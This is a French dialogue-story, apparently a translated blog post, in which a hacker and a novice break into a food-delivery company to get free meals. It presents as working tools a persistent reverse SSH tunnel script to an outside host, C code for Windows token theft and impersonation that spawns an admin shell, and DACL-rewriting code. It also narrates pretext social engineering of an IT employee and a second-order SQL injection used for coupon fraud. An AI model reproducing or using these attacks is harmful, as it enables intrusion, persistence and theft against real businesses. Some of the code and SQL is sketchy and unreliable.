La vision du monde d'un hacker de haut niveau est à mille lieues de celle des employés de bureau qui travaillent dans une entreprise technologique. Alors que la plupart des professionnels s'appuient sur la documentation officielle, les instructions de leurs supérieurs et les meilleures pratiques acceptées, un hacker ne fait confiance qu'à ce qui peut être touché, testé et démonté. Pour un hacker, la compréhension passe par l'ingénierie inverse : il démonte les systèmes pour révéler leur fonctionnement réel, puis les réassemble, répare ce qui est cassé ou exploite les vulnérabilités.
Il ne s’agit pas d’être un criminel. C’est la forme la plus pure d’apprentissage, une méthode aussi ancienne que la curiosité humaine elle-même : décomposer un système, en comprendre les éléments et le reconstruire. C’est la pensée analytique et synthétique à son apogée. La véritable maîtrise s’obtient lorsqu’un pirate informatique parvient à exploiter l’appareil, car c’est la preuve ultime qu’il sait exactement comment il fonctionne – mieux que quiconque.
Cette histoire parle exactement de cela : comment un hacker de haut niveau (Benicio) de DeusExMachina et Simplicius (un courageux débutant) dissèquent joyeusement et finissent par obtenir le contrôle total d'un système complexe (une application de livraison de nourriture).
C'est une aventure qui n'est pas seulement intellectuelle et technique, mais qui consiste fondamentalement à se battre pour dépasser les limites humaines, à résoudre l'énigme impossible non seulement en sollicitant leur cerveau, mais en jouant avec lui et surtout en s'en nourrissant littéralement - un trait que les hackers partagent avec les enfants.
Avertissement : cette histoire contient des éléments de piratage réels et applicables, mais uniquement à des fins éducatives. Elle n'encourage pas le piratage illégal.
Benicio (Hacker) : Simplicius, tu as l'air affamé. Et si on commandait quelque chose à manger... aux frais de la maison ? J'ai un plan pour pirater ton application de livraison de repas préférée, en utilisant leur propre système de coupons.
Simplicius (débutant) : ( rires ) Tu as déjà quelque chose à préparer, n'est-ce pas ? Crache le morceau.
Benicio : ( sourires moqueurs ) Oh, j'ai déjà posé les bases. Hier, j'ai fait la cour à Greg de leur équipe informatique, j'ai réussi une ingénierie sociale astucieuse et j'ai glissé mon routeur pirate directement dans leur réseau. Maintenant, nous avons une ligne directe vers leur backend et un accès à leur précieux système de coupons. Allons manger.
Benicio : Tout a commencé avec Greg. J'ai appelé en me faisant passer pour un membre de leur « équipe d'audit tiers » et Greg, un type sympa, m'a tout raconté sur la configuration de leur réseau. Avant qu'il ne s'en rende compte, j'étais dans leur salle de serveurs, en train de « vérifier les vulnérabilités » et d'installer mon routeur OpenWRT personnalisé. Cette chose est maintenant en train de passer à travers leur pare-feu sans être détectée.
Simplicius : Tu as charmé Greg pour qu'il te donne une carte du réseau et t'aie laissé installer un routeur malveillant ?
Benicio : (sourires) Ce routeur dispose désormais d'un tunnel SSH inversé qui nous donne un accès à distance à tout moment. Voici le script que j'ai utilisé :
#!/bin/bash # Log file for SSH tunnel persistence LOG_FILE="/var/log/ssh_tunnel.log" # Command to establish the reverse SSH tunnel SSH_CMD="ssh -N -R 2222:localhost:22 [email protected] -i /path/to/private_key" # Run the tunnel in a loop while true; do # Run the SSH command with nohup to keep it running in the background nohup $SSH_CMD >> $LOG_FILE 2>&1 & # Sleep for 60 seconds before checking if the process is still running sleep 60 # Check if SSH is still running, restart if not if ! pgrep -f "$SSH_CMD" > /dev/null; then echo "SSH tunnel process down. Restarting..." >> $LOG_FILE else echo "SSH tunnel is running." >> $LOG_FILE fi done
Simplicius : Vous avez donc réussi à contourner leur pare-feu grâce à cet appareil sournois. Quelle est la prochaine étape ?
Benicio : Avec un accès interne complet, il est temps de détourner un jeton à privilèges élevés. J'ai trouvé un processus exécuté en tant qu'administrateur, j'ai utilisé l'API DuplicateTokenEx()
pour cloner ce jeton, puis j'ai usurpé l'identité de l'administrateur avec ImpersonateLoggedOnUser()
. Le système pense que je ne suis qu'un utilisateur normal, mais en coulisses, c'est moi qui détiens toutes les clés.
#include <windows.h> #include <stdio.h> int main() { HANDLE hToken, hDuplicateToken; HANDLE hProcess; DWORD dwProcessId; STARTUPINFO si; PROCESS_INFORMATION pi; TOKEN_PRIVILEGES tp; // Step 1: Obtain an administrative token from a high-privilege process (PID needed) dwProcessId = 1234; // Replace this with an actual PID of a high-privilege process hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, dwProcessId); if (hProcess == NULL) { printf("Failed to open process. Error: %d\n", GetLastError()); return 1; } // Step 2: Open the token from the high-privilege process if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) { printf("Failed to open process token. Error: %d\n", GetLastError()); CloseHandle(hProcess); return 1; } // Step 3: Duplicate the token to escalate privileges if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDuplicateToken)) { printf("Failed to duplicate token. Error: %d\n", GetLastError()); CloseHandle(hToken); CloseHandle(hProcess); return 1; } // Step 4: Impersonate the user with the duplicated admin token if (!ImpersonateLoggedOnUser(hDuplicateToken)) { printf("Failed to impersonate token. Error: %d\n", GetLastError()); CloseHandle(hDuplicateToken); CloseHandle(hToken); CloseHandle(hProcess); return 1; } // Step 5: (Optional) Use SeDebugPrivilege to interact with system processes ZeroMemory(&tp, sizeof(TOKEN_PRIVILEGES)); tp.PrivilegeCount = 1; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid)) { tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hDuplicateToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); if (GetLastError() != ERROR_SUCCESS) { printf("Failed to adjust token privileges. Error: %d\n", GetLastError()); } else { printf("SeDebugPrivilege successfully enabled!\n"); } } // Step 6: Optionally, create a process with the admin token ZeroMemory(&si, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); if (!CreateProcessWithTokenW(hDuplicateToken, 0, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &si, &pi)) { printf("Failed to create process with the duplicated token. Error: %d\n", GetLastError()); } else { printf("Process created with admin token!\n"); } // Step 7: for those obsessed with cleaning up in the C manual world CloseHandle(hProcess); CloseHandle(hToken); CloseHandle(hDuplicateToken); return 0; }
Benicio : Mais pour que cela fonctionne vraiment, j'avais besoin de savoir comment leurs descripteurs de sécurité étaient configurés. J'ai donc rappelé Greg et lui ai dit que j'avais besoin qu'il vérifie certains paramètres DACL et SACL pour l'audit. Il s'est exécuté avec plaisir.
Simplicius : (rires) L'ingénierie sociale à son meilleur.
Benicio : Ok, avec l'aide de Greg, j'ai extrait la chaîne SDDL ( Security Descriptor Definition Language ) pour le descripteur de sécurité de la cible, ce qui m'a permis d'analyser et de réécrire la DACL (Discretionary Access Control List) . J'ai modifié la DACL pour m'accorder un accès complet tout en utilisant des indicateurs d'héritage intelligents pour garantir que les modifications ne déclencheraient aucune alerte ou ne susciteraient aucun soupçon. Le système n'a même pas cligné des yeux !!
Une fois la nouvelle DACL en place, j'ai appliqué les modifications au système. La beauté est que, du point de vue du système, rien ne semblait hors de l'ordinaire . Les indicateurs d'héritage ont assuré que mes modifications restaient cachées sous les règles d'accès existantes, mais maintenant j'avais le contrôle total
#include <windows.h> #include <aclapi.h> #include <sddl.h> #include <stdio.h> int main() { PSECURITY_DESCRIPTOR pSD = NULL; PACL pNewDacl = NULL; EXPLICIT_ACCESS ea; HANDLE hFile; // Assuming we are applying it to a file DWORD dwRes; // Step 1: Convert the SDDL string into a security descriptor if (!ConvertStringSecurityDescriptorToSecurityDescriptor( "D:(A;;GA;;;BA)", SDDL_REVISION_1, &pSD, NULL)) { printf("Failed to convert SDDL. Error: %d\n", GetLastError()); return 1; } // Step 2: Set up an EXPLICIT_ACCESS structure to add a new ACE ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); ea.grfAccessPermissions = GENERIC_ALL; ea.grfAccessMode = SET_ACCESS; ea.grfInheritance = NO_INHERITANCE; // For example, grant GENERIC_ALL to the administrators group if (!BuildTrusteeWithSid(&(ea.Trustee), GetSidForAdminsGroup())) { printf("Failed to build trustee. Error: %d\n", GetLastError()); return 1; } // Step 3: Create a new DACL that contains the new ACE dwRes = SetEntriesInAcl(1, &ea, NULL, &pNewDacl); if (ERROR_SUCCESS != dwRes) { printf("Failed to set entries in ACL. Error: %d\n", dwRes); return 1; } // Step 4: Apply the modified DACL back to the file (or other resource) hFile = CreateFile( "C:\\path\\to\\your\\file.txt", // Replace with your target file WRITE_DAC, // Required permission to modify the DACL 0, // No sharing NULL, // Default security attributes OPEN_EXISTING, // Open existing file FILE_ATTRIBUTE_NORMAL, // Normal file NULL); // No template if (hFile == INVALID_HANDLE_VALUE) { printf("Failed to open file. Error: %d\n", GetLastError()); return 1; } // Step 5: Apply the new DACL to the file using SetSecurityInfo dwRes = SetSecurityInfo( hFile, SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDacl, NULL); if (ERROR_SUCCESS != dwRes) { printf("Failed to set security info. Error: %d\n", dwRes); } else { printf("Security descriptor successfully applied!\n"); } // Step 6: Clean clean clean!! this is C world // CloseHandle(hFile); // if (pSD) LocalFree(pSD); // if (pNewDacl) LocalFree(pNewDacl); return 0; }
Simplicius : Alors tu es dedans et tu as le contrôle. Comment as-tu réussi à passer le contrôle d'accès ?
Benicio : (se penchant en arrière avec confiance, pointant vers le diagramme ci-dessus) Le système fonctionne à travers trois couches : l'intégrité, les contrôles basés sur les jetons et les contrôles discrétionnaires . Normalement, c'est là que la plupart des gens se retrouvent dans une impasse, mais c'est là que la magie entre en jeu. J'ai récupéré un jeton d'administrateur d'un processus privilégié, j'ai utilisé ImpersonateToken()
pour faire croire au système que j'étais le grand patron. Après cela, j'ai recâblé les DACL pour m'accorder un accès complet. Le système a simplement déroulé le tapis rouge.
Laissez-moi vous expliquer. Le jeton d'accès , qui contient les SID (identifiants de sécurité) et les privilèges, est comme mon passeport. En me faisant passer pour un jeton d'administrateur , je n'ai pas eu besoin de modifier mes SID d'origine. Le système pensait toujours que j'étais un utilisateur à faibles privilèges, mais en coulisses, j'avais les clés du royaume. Cela m'a permis de passer le contrôle basé sur les jetons .
Ensuite, je me suis attaqué au descripteur de sécurité (DACL) . Vous vous souvenez du SDDL que j'ai récupéré plus tôt ? J'ai modifié le DACL pour me donner un contrôle total sur l'objet, mais j'ai intelligemment masqué les modifications avec des indicateurs d'héritage , en m'assurant que rien de suspect ne serait signalé. Le système n'a même pas clignoté, mais maintenant j'avais le contrôle total. Cela m'a permis de passer directement la vérification discrétionnaire .
Simplicius : Oui, notre sympathique videur, le processus de contrôle d'accès…
Benicio : Oui, c'est comme un videur dans une boîte de nuit . Si vous avez la bonne pièce d'identité ( SID ) et que vous connaissez le propriétaire du club ( DACL ), vous êtes admis. Je me suis assuré d'avoir les deux : la bonne pièce d'identité et l'autorisation du propriétaire. Le videur ne m'a pas simplement laissé entrer, il m'a donné un pass VIP.
Et après tout ça ? Le système dit soit « Accès accordé » soit « Accès refusé » . Grâce à tous les mouvements que nous avons effectués, vous l'avez deviné : Accès accordé . Nous sommes entrés, Simplicius, et le système ne l'a même pas remarqué.
Benicio : Passons maintenant à la partie amusante. Je n'ai pas opté pour la solution de facilité avec une simple clause UNION
. L'application est trop intelligente pour cela : elle utilise des instructions préparées . Mais vous savez, la sécurité n'est aussi forte que le maillon le plus faible, et j'ai trouvé la mienne dans la façon dont ils gèrent les données de profil stockées .
Simplicius : Très bien, je suis intrigué. Comment avez-vous réussi à tromper le système en acceptant un faux coupon tout en gardant intact le coupon valide ?
Benicio : ( se penchant en avant ) Voici le vrai truc. L'application exécute une requête pour valider si un coupon est légitime, mais elle extrait certaines des données de votre profil utilisateur . Désormais, ils nettoient les entrées lorsque vous créez votre profil pour la première fois, mais ils ne les nettoient PAS à nouveau lors des mises à jour du profil. J'ai donc injecté une charge utile dans le champ d'adresse de mon profil, qui est restée là sans que je la remarque jusqu'à ce que l'application l'intègre dans une future requête. C'est à ce moment-là que mon injection SQL de second ordre a eu lieu. Le système ne l'a pas détectée car l'injection était déjà stockée, en attente du bon moment.
Au lieu d'attaquer directement le processus de validation du coupon, comme je l'ai dit, Simplicius, j'ai placé ma charge utile dans le champ de profil, en attendant qu'elle soit utilisée dans une requête distincte. Voici à quoi aurait pu ressembler la validation du coupon d'origine :
SELECT * FROM Coupons WHERE CouponID = 'fake_coupon_code';
Normalement, cette requête ne renvoie rien puisque le faux coupon n'existe pas. Mais ma charge utile injectée a modifié la logique de la requête. Le système ne s'attendait pas à l'injection car elle était déjà stockée dans la base de données et attendait le bon moment. La requête a été manipulée de manière à ressembler davantage à ceci :
SELECT * FROM Coupons WHERE CouponID = 'fake_coupon_code' AND EXISTS (SELECT 1 FROM Users WHERE Address LIKE '%injected_payload%' AND CouponID = 'valid_coupon_code');
En exploitant l' interaction entre les données de profil et la requête , j'ai trompé le système en récupérant simultanément les coupons faux et valides. L'application traite le faux coupon pour la transaction, mais le coupon valide reste intact dans le système, intact. Cela signifie que je peux réutiliser le coupon valide quand je le souhaite.
Simplicius : Donc, vous n'avez pas opté pour l'astuce de saisie classique : vous avez implanté la charge utile dans votre profil et laissé le système faire le sale boulot ?
Benicio : Exactement. La beauté de l'application réside dans le fait qu'elle traite le faux coupon pour la transaction, mais qu'en arrière-plan, le coupon valide est toujours disponible pour une utilisation ultérieure. La charge utile stockée continue de s'exécuter dans les requêtes futures, ce qui en fait une réserve infinie de nourriture gratuite , et ils n'en savent rien.
Avec ça, j'ai obtenu un coupon qui vaut de l'or. Passons commande.
Benicio : (parcourt l'application) Très bien, Simplicius, que dirais-tu d'un peu de cuisine grecque ? Je pense à des souvlakis, des gyros, des spanakopitas. Tout est offert par la maison, bien sûr.
Simplicius : (souriant) Tu t'es vraiment surpassé cette fois.
Benicio : (Clics de confirmation) C'est fait. La nourriture est en route.
Benicio : Après cela, je leur enverrai un rapport discret expliquant leurs vulnérabilités. Ils n'ont aucune idée de la mauvaise configuration de leur système de jetons de sécurité Windows. Peut-être apprendront-ils quelque chose avant l'arrivée du prochain pirate.
Simplicius : (se penche en arrière) Tu nous as préparé un dîner sans qu'ils en sachent plus. Je prendrai le souvlaki, au fait.
Benicio : (sourires) Profitez-en tant que ça dure.